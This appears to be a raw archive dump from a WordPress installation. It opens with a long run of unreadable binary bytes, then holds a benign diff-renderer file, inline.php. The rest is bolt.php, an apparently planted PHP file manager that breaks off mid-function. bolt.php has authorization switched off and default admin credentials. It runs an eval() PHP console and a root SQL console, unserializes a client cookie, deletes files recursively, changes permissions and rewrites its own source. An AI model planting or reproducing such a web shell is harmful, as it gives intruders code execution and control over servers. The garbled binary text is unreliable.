B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
